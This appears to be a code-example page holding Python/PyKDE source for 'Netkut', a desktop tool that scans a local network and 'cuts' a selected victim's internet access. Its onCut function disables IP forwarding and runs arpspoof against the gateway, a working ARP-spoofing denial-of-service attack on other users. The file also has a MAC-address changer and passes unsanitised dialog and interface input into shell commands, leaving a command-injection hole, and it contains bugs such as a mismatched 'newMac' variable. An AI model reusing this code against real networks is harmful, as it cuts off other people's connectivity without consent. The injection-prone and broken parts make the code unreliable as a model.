Пример #1
0
class Netkut(QObject):
    def __init__(self, parent = None):
        QObject.__init__(self)
        
#        if os.path.exists("netkut-window.ui"):
#            APPDIR = QDir.currentPath()
#        else:
#            file =  KStandardDirs.locate("appdata", "netkut-window.ui")
#            APPDIR = file.left(file.lastIndexOf('/'))

        self.mainWindow = MainWindow()
        uic.loadUi(os.path.join (sys.path [0],  "netkut-window.ui"), self.mainWindow)
        
        self.sysTray = KStatusNotifierItem(self.mainWindow)
        self.sysTray.setCategory(KStatusNotifierItem.ApplicationStatus)
        self.sysTray.setIconByName("edit-cut")
        self.sysTray.setAssociatedWidget(self.mainWindow)
        self.sysTray.setStatus(KStatusNotifierItem.Active)
        
        self.actionScan = self.mainWindow.actionCollection().addAction("scan")
        self.actionScan.setIcon(KIcon("edit-web-search"))
        self.actionScan.setText(i18n("&Scan"))
        self.actionScan.setShortcut(QKeySequence(Qt.Key_F5))
        self.actionScan.setToolTip(i18n("Scanning network for live host(s)"))
        self.connect(self.actionScan, SIGNAL("triggered()"), self.onScan)
        
        self.actionCut = self.mainWindow.actionCollection().addAction("cut")
        self.actionCut.setIcon(KIcon("edit-cut"))
        self.actionCut.setText(i18n("&Cut"))
        self.actionCut.setShortcut(Qt.CTRL + Qt.Key_X)
        self.actionCut.setToolTip(i18n("Cutting the internet from selected victim's IP address"))
        self.connect(self.actionCut, SIGNAL("triggered()"), self.onCut)
        
        self.actionResume = self.mainWindow.actionCollection().addAction("resume")
        self.actionResume.setIcon(KIcon("edit-undo"))
        self.actionResume.setText(i18n("&Resume"))
        self.actionResume.setShortcut(Qt.CTRL + Qt.Key_R)
        self.actionResume.setToolTip(i18n("Stop all cut operation"))
        self.connect(self.actionResume, SIGNAL("triggered()"), self.onResume)
        
        self.actionProtect = self.mainWindow.actionCollection().addAction("protect")
        self.actionProtect.setIcon(KIcon("security-low"))
        self.actionProtect.setText(i18n("Unprotected"))
        self.actionProtect.setToolTip(i18n("Enable protection mode"))
        self.actionProtect.setCheckable(True)
        self.connect(self.actionProtect, SIGNAL("triggered()"), self.onProtectMe)
        
        self.actionChangeMac = self.mainWindow.actionCollection().addAction("change_mac")
        self.actionChangeMac.setIcon(KIcon("document-edit"))
        self.actionChangeMac.setText(i18n("Change MAC"))
        self.actionChangeMac.setToolTip(i18n("Change your MAC Address"))
        self.connect(self.actionChangeMac, SIGNAL("triggered()"), self.onChangeMAC)
        
        KStandardAction.quit(app.quit, self.mainWindow.actionCollection())
        
        self.mainWindow.createGUI(os.path.join (sys.path [0], "netkutui.rc"))
        
        self.icard = self.Get_parameter('ip route list | grep "default" | cut -d " " -s -f 5')
        self.myMAC = self.Get_parameter("ip addr show dev " + self.icard +  "|awk '/ether/{ print $2 }'")
        self.gwip = self.Get_parameter('ip route list | grep "default" | cut -d" " -f3')
        self.gwMAC = self.Get_parameter('arping -I '+ self.icard +' -f '+ self.gwip +' | grep "Unicast" | cut -d" " -f5 | cut -d"[" -f2 | cut -d"]" -f1')
        self.myip = self.Get_parameter("ifconfig  | grep 'inet addr:'| grep -v '127.0.0.1' |cut -d: -f2 | awk '{ print $1}'")
        
    def setStatusIconToolTip(self, host = None):
        if self.actionProtect.text() == "Unprotected":
            status = i18n("Status: <strong>Unprotected</strong><br>")
        else:
            status = i18n("Status: <strong>Protected</strong><br>")
            
        if host == None:
            if self.mainWindow.listIP.count() == 0:
                host = status + i18n("no host alive")
                print "no host alive"
            elif self.mainWindow.listIP.count() == 1:
                host = status + i18n("1 host alive")
                print "1 host alive"
            else:
                host = status + i18n(str(self.mainWindow.listIP.count()) + " hosts alive")
                print str(self.mainWindow.listIP.count()) + " hosts alive"

        self.sysTray.setToolTip(KIcon("edit-cut"), i18n("Netkut"), host)
        
    def Get_parameter(self, cmd):
        try:
            x = os.popen(cmd, 'r')
            parameter = x.readline()
            parameter = parameter.strip('\n')
            return parameter
        except:
            return self.Get_parameter(cmd)
    
    def onScan(self):
        print "Scanning..."
        result = sp.Popen(['arp-scan', '--interface=' + self.icard,self.gwip + '/24'], stdout = sp.PIPE).communicate()[0]
        hosts = open('/tmp/hosts.txt', 'w')
        hosts.write(result)
        hosts.close()
        
        # IP Address
        arg1 = 'grep "^[0-9]\+\.[0-9]\+\.[0-9]\+\.[0-9]\+"'
        pipe = os.popen("cut -f1 /tmp/hosts.txt|" + arg1,'r')
        ips = pipe.readlines()
        ips.append(self.myip)
        self.mainWindow.listIP.clear()
        self.mainWindow.listMAC.clear()
        
        for ip in ips:
            ip = ip.strip('\n')
            item = QListWidgetItem(KIcon("network-connect"), ip, self.mainWindow.listIP)
            
        # MAC Address
        arg2 = 'grep -E -o "[[:xdigit:]]{2}(:[[:xdigit:]]{2}){5}"'
        pipe = os.popen("cut  -f2 /tmp/hosts.txt|" + arg2,'r')
        macs = pipe.readlines()
        macs.append(self.myMAC)
        for mac in macs :
            mac = mac.strip('\n')
            item = QListWidgetItem(KIcon("hwinfo"), mac, self.mainWindow.listMAC)
            
        self.setStatusIconToolTip()
        
    def onCut(self):
        print "Cutting..."
        item = self.mainWindow.listIP.currentItem()
        vicip = str(item.text())
        item.setIcon(KIcon("network-disconnect"))
        
        ### First we must disable the IP_Forward
        os.system("sysctl -w net.ipv4.ip_forward=0")
        
        ### Start Arpspoofing the victim
        os.system("arpspoof -i " + self.icard + " -t " + self.gwip + " " + vicip + " & > /dev/null")
        
    def onResume(self):
        print "Resuming"
        ### Re Enable IP_Forward
        os.system("sysctl -w net.ipv4.ip_forward=1")
        
        ### Stop all arpspoofing process
        os.system("killall arpspoof")
        
        self.onScan()
        
    def onProtectMe(self):
        if self.actionProtect.isChecked():
            self.actionScan.setEnabled(False)
            self.actionCut.setEnabled(False)
            self.actionProtect.setText(i18n("Protected"))
            self.actionProtect.setToolTip(i18n("Disable protection mode"))
            self.actionProtect.setIcon(KIcon("security-high"))
            
            pipe = os.popen("arptables -F" ,'r')
            pipe.close()
            pipe = os.popen("arptables -P INPUT DROP && arptables -P OUTPUT DROP",'r')
            pipe.close()
            pipe = os.popen("arptables -A INPUT -s " + self.gwip + " --source-mac "+ self.gwMAC + " -j ACCEPT",'r')
            pipe.close()
            pipe = os.popen("arptables -A OUTPUT -d " + self.gwip + " --destination-mac  " + self.gwMAC + " -j ACCEPT",'r')
            pipe.close()
            pipe = os.popen("arp -s " + self.gwip + " " + self.gwMAC ,'r')
            pipe.close()
            
        else:
            self.actionScan.setEnabled(True)
            self.actionCut.setEnabled(True)
            self.actionProtect.setText(i18n("Unprotected"))
            self.actionProtect.setToolTip(i18n("Enable protection mode"))
            self.actionProtect.setIcon(KIcon("security-low"))
            
            self.scanAction.setEnabled(True)
            self.cutAction.setEnabled(True)
            self.protectAction.setIcon(KIcon("security-low"))
            self.protectAction.setText(i18n("Unprotected"))
            self.protectAction.setStatusTip(i18n("Enable protection mode"))
            
            pipe=os.popen("arptables -P INPUT ACCEPT && arptables -P OUTPUT ACCEPT && arptables -F" ,'r')
            pipe.close()
            
        self.setStatusIconToolTip()
            
    def onChangeMAC(self):
        text, ok = KInputDialog.getText(i18n("MAC Address Changer"), 
                                        i18n("Enter your new MAC Address: "))
        if ok:
            newMac = str(text)
            pipe = os.popen("ifconfig " + self.icard +" down hw ether " + newMAC,'r')
            pipe.close()
            pipe = os.popen("ifconfig " + self.icard +" up",'r')
            pipe.close()